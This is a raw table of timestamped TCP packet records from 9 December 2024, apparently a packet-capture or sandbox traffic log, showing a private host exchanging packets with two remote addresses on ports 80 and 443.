Dec 9, 2024 20:27:34.817820072 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.818175077 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.818224907 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.818489075 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.818558931 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.819303036 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.819374084 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.819876909 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.819928885 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.820225954 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.820239067 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.820276022 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.820291996 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.821150064 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.821209908 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.821891069 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.821940899 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.822171926 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.822185993 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.822226048 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.823153019 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.823209047 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.823376894 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.823426962 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.824172020 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.824222088 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.824225903 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.824234962 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.824264050 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.824286938 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.824321032 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.825186968 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.825201035 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.825267076 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.826112032 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.826164961 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.826289892 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.826355934 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.827140093 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.827191114 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.827461004 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.827517033 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.828111887 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.828161955 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.828455925 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.828506947 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.829157114 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.829209089 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.830090046 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.830142975 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.830183029 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.830197096 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.830241919 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.831144094 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.831203938 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.831233025 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.831275940 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.832103968 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.832155943 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.832180023 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.832221985 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.833151102 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.833201885 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.833296061 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.833347082 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.834116936 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.834170103 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.834374905 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.834423065 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.835141897 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.835192919 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.835467100 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.835536003 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.836560011 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.836612940 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.836612940 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.836673021 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.836698055 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.837109089 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.837162018 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.848005056 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.848093987 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.848118067 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.859553099 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.859641075 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.859666109 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.871032000 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.871170998 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.871205091 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.882394075 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.882499933 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.882530928 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.893996000 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.894073009 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.894095898 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.904602051 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.904700994 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.904730082 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.915086031 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.915241957 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.915268898 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.925323963 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.925416946 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.925447941 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.934992075 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.935086012 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.935113907 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.944677114 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.944780111 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.944808006 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.953437090 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.953555107 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.953582048 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.962085009 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.962177992 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.962192059 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.970524073 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.970608950 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.970632076 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.976903915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.976996899 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.977102995 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.977118015 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.977140903 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.977169037 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.977211952 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.978061914 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.978125095 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.978167057 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.978207111 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.978704929 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.978746891 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.978765965 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.978796959 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.978837967 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.979099035 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.979152918 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.979322910 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.979377031 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.979511023 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.979563951 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.980376005 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.980438948 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.980613947 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.980667114 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.981365919 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.981426001 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.981937885 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.982002020 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.982414961 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.982430935 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.982467890 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.982496977 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.983385086 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.983474970 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.983683109 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.983735085 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.984314919 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.984380007 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.984411001 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.984453917 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.985337019 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.985398054 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.985702991 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.985758066 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.986306906 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.986360073 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.986495972 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.986548901 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.986995935 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.987368107 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.987381935 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.987426043 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.988331079 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.988390923 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.988393068 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.988437891 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.989310026 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.989372969 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.989861012 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.989921093 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.990375996 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.990390062 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.990427017 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.991364956 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.991450071 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.991651058 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.991705894 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.992317915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.992372036 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.993422985 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.993434906 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.993488073 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.993869066 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.993925095 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.994529009 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.994541883 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.994585991 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.995424986 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.995491028 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.995490074 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.995539904 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.995547056 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.995568037 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.995590925 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.995609999 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.995657921 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.996375084 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.996434927 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.996701956 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.996754885 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.997308016 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.997366905 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.997932911 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.997991085 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.998306036 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.998368025 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.998790026 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.998847008 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.999448061 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.999509096 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.999511003 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.999553919 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.000277996 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.000368118 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.000384092 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.000431061 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.001313925 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.001368046 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.001703024 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.001759052 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.002137899 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:35.002351046 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.002403975 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.002444983 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.002486944 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.003279924 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.003335953 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.003413916 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.003459930 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.004302979 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.004364014 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.004679918 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.004733086 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.005376101 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.005392075 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.005439997 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.005505085 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:35.005562067 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:35.005588055 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:35.006284952 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.006341934 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.006494999 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.006544113 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.007273912 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.007324934 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.007327080 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.007366896 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.008311987 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.008372068 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.008408070 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.008459091 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.009341002 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.009404898 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.009664059 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.009720087 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.010293961 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.010370016 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.010426044 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.010473967 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.010806084 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:35.010838032 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:35.010859966 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:35.010881901 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:35.010945082 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:35.011070967 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:35.011113882 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:35.011173964 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:35.011286974 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.011342049 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.011400938 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.011451006 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.012258053 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.012310982 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.012923002 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.012998104 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.013294935 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.013343096 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.013346910 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.013386011 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.014270067 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.014331102 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.014357090 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.014396906 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.015261889 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.015331984 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.015438080 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.015482903 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.016330957 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.016344070 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.016391039 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.017359018 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.017416954 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.017915964 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.017973900 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.018299103 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.018311977 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.018358946 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.018378973 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.019277096 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.019455910 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.019474983 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.019562006 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.020293951 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.020344973 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.020524025 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.020571947 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.021258116 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.021316051 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.021542072 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.021589994 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.022284031 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.022336960 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.022454023 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.022506952 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.023261070 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.023308039 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.023328066 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.023385048 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.024241924 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.024317026 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.024895906 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.024949074 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.025288105 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.025300980 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.025342941 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.026216984 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.026266098 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.026676893 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.026725054 CET	49740	80	192.168.2.4	185.215.113.206
